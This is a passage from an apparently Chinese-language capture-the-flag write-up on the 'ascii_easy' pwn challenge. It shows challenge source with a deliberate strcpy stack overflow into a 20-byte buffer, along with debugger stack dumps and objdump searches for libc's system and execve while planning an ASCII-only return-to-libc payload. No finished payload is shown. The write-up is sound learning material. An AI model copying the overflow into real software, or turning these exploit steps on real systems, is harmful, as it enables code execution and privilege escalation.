</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="cp">#define BASE ((void*)0x5555e000)
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="c1">// 判断是否是ASCII字符
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="kt">int</span> <span class="nf">is_ascii</span><span class="p">(</span><span class="kt">int</span> <span class="n">c</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">c</span><span class="o">&gt;=</span><span class="mh">0x20</span> <span class="o">&amp;&amp;</span> <span class="n">c</span><span class="o">&lt;=</span><span class="mh">0x7f</span><span class="p">)</span> <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1">// 预留的漏洞函数，把参数复制给buf[20]
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="kt">void</span> <span class="nf">vuln</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">p</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="nf">strcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">argc</span><span class="o">!=</span><span class="mi">2</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;usage: ascii_easy [ascii input]</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="c1">// 存储libc文件大小
</span></span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="kt">size_t</span> <span class="n">len_file</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="c1">// 文件状态结构体，用于获取文件信息
</span></span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">struct</span> <span class="n">stat</span> <span class="n">st</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/home/ascii_easy/libc-2.15.so&#34;</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="nf">fstat</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span><span class="o">&amp;</span><span class="n">st</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;open error. tell admin!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl">     <span class="c1">// 获取libc文件的大小
</span></span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="n">len_file</span> <span class="o">=</span> <span class="n">st</span><span class="p">.</span><span class="n">st_size</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">    <span class="c1">// 内存映射：将libc文件强制映射到固定地址BASE
</span></span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nf">mmap</span><span class="p">(</span><span class="n">BASE</span><span class="p">,</span> <span class="n">len_file</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="o">|</span><span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">!=</span> <span class="n">BASE</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;mmap error!. tell admin</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">    <span class="c1">// 遍历所有输入字符，必须全为ASCII可打印字符
</span></span></span><span class="line"><span class="ln">49</span><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="nf">strlen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="o">!</span><span class="nf">is_ascii</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="n">i</span><span class="p">])</span> <span class="p">){</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">            <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;you have non-ascii byte!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">            <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">
</span></span><span class="line"><span class="ln">56</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;triggering bug...</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">    <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">    <span class="nf">vuln</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>看起来不难，不知道为什么那么多前置步骤，就是参数都要是可打印字符，复制给buf</p>
<p>调试：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; stack 20
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">00:0000│ esp     0xffbe5950 —▸ 0xffbe596c ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">01:0004│-034     0xffbe5954 —▸ 0xffbe5d68 ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">02:0008│-030     0xffbe5958 ◂— 0x410
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">03:000c│-02c     0xffbe595c —▸ 0x8049219 (vuln+12) ◂— add eax, 0x2de7
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">04:0010│-028     0xffbe5960 —▸ 0xf7d56e54 ◂— 0x205e /* &#39;^ &#39; */
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">05:0014│-024     0xffbe5964 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— 1
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">06:0018│-020     0xffbe5968 —▸ 0xffbe5a40 ◂— 2
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">07:001c│ eax edx 0xffbe596c ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">08:0020│-018     0xffbe5970 —▸ 0xffbe5a00 ◂— 0
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">09:0024│-014     0xffbe5974 —▸ 0xf7fa5004 (_dl_runtime_resolve+20) ◂— pop edx
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0a:0028│-010     0xffbe5978 ◂— 1
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">0b:002c│-00c     0xffbe597c ◂— 0x68a35a00
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">0c:0030│-008     0xffbe5980 ◂— 0x410
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">0d:0034│-004     0xffbe5984 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— 1
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0e:0038│ ebp     0xffbe5988 —▸ 0xffbe5a28 —▸ 0xf7fc9020 (_rtld_global) —▸ 0xf7fc9a40 ◂— 0
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">0f:003c│+004     0xffbe598c —▸ 0x8049394 (main+348) ◂— add esp, 0x10
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">10:0040│+008     0xffbe5990 —▸ 0xffbe5d68 ◂— &#39;KKKK&#39;
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">11:0044│+00c     0xffbe5994 ◂— 0x410
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>可以看到覆盖ebp需要32字节</p>
<p>主要限制在于payload都要是可打印范围内的。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">ascii_easy@ubuntu:~$ objdump -d libc-2.15.so | grep system
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">objdump: Warning: Separate debug info file libc-2.15.so found, but CRC does not match - ignoring
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">objdump: Warning: Separate debug info file /home/ascii_easy/libc-2.15.so found, but CRC does not match - ignoring
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">   3e98f:       0f 85 c8 05 00 00       jne    3ef5d &lt;__libc_system@@GLIBC_PRIVATE+0x8d&gt;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">   3ea06:       0f 85 61 05 00 00       jne    3ef6d &lt;__libc_system@@GLIBC_PRIVATE+0x9d&gt;
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">   3eb03:       0f 85 74 04 00 00       jne    3ef7d &lt;__libc_system@@GLIBC_PRIVATE+0xad&gt;
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">   3eb7b:       0f 85 0c 04 00 00       jne    3ef8d &lt;__libc_system@@GLIBC_PRIVATE+0xbd&gt;
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">   3ec47:       0f 85 50 03 00 00       jne    3ef9d &lt;__libc_system@@GLIBC_PRIVATE+0xcd&gt;
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">   3ec9d:       0f 85 0a 03 00 00       jne    3efad &lt;__libc_system@@GLIBC_PRIVATE+0xdd&gt;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">   3ee54:       0f 85 63 01 00 00       jne    3efbd &lt;__libc_system@@GLIBC_PRIVATE+0xed&gt;
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">   3eebb:       0f 85 0c 01 00 00       jne    3efcd &lt;__libc_system@@GLIBC_PRIVATE+0xfd&gt;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">0003eed0 &lt;__libc_system@@GLIBC_PRIVATE&gt;:
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">   3eef0:       74 26                   je     3ef18 &lt;__libc_system@@GLIBC_PRIVATE+0x48&gt;
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">   3eefa:       75 40                   jne    3ef3c &lt;__libc_system@@GLIBC_PRIVATE+0x6c&gt;
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">   3ef5b:       eb cd                   jmp    3ef2a &lt;__libc_system@@GLIBC_PRIVATE+0x5a&gt;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">0011ca50 &lt;svcerr_systemerr@@GLIBC_2.0&gt;:
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>所以，system地址是0x3eef0 + 0x5555e000 = 0x5559cef0，但是ce和f0超出ASCII范围，这里用execve吧</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">ascii_easy@ubuntu:~$ objdump -d ./libc-2.15.so  | grep &#39;&lt;execve&#39;
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">objdump: Warning: Separate debug info file libc-2.15.so found, but CRC does not match - ignoring
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">objdump: Warning: Separate debug info file /home/ascii_easy/libc-2.15.so found, but CRC does not match - ignoring
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">   3edab:       e8 30 98 07 00          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">000b85e0 &lt;execve@@GLIBC_2.0&gt;:
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">   b8616:       77 0b                   ja     b8623 &lt;execve@@GLIBC_2.0+0x43&gt;
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">   b8631:       eb e5                   jmp    b8618 &lt;execve@@GLIBC_2.0+0x38&gt;
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">   b86c4:       e8 17 ff ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">   b876a:       e8 71 fe ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">   b8802:       e8 d9 fd ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">   b88c9:       e8 12 fd ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">   b8967:       e8 74 fc ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">   b8a32:       e8 a9 fb ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">   b8c1b:       e8 c0 f9 ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">   b8cda:       e8 01 f9 ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">   b8e01:       e8 da f7 ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">   b8ea8:       e8 33 f7 ff ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">   d8b77:       e8 64 fa fd ff          call   b85e0 &lt;execve@@GLIBC_2.0&gt;
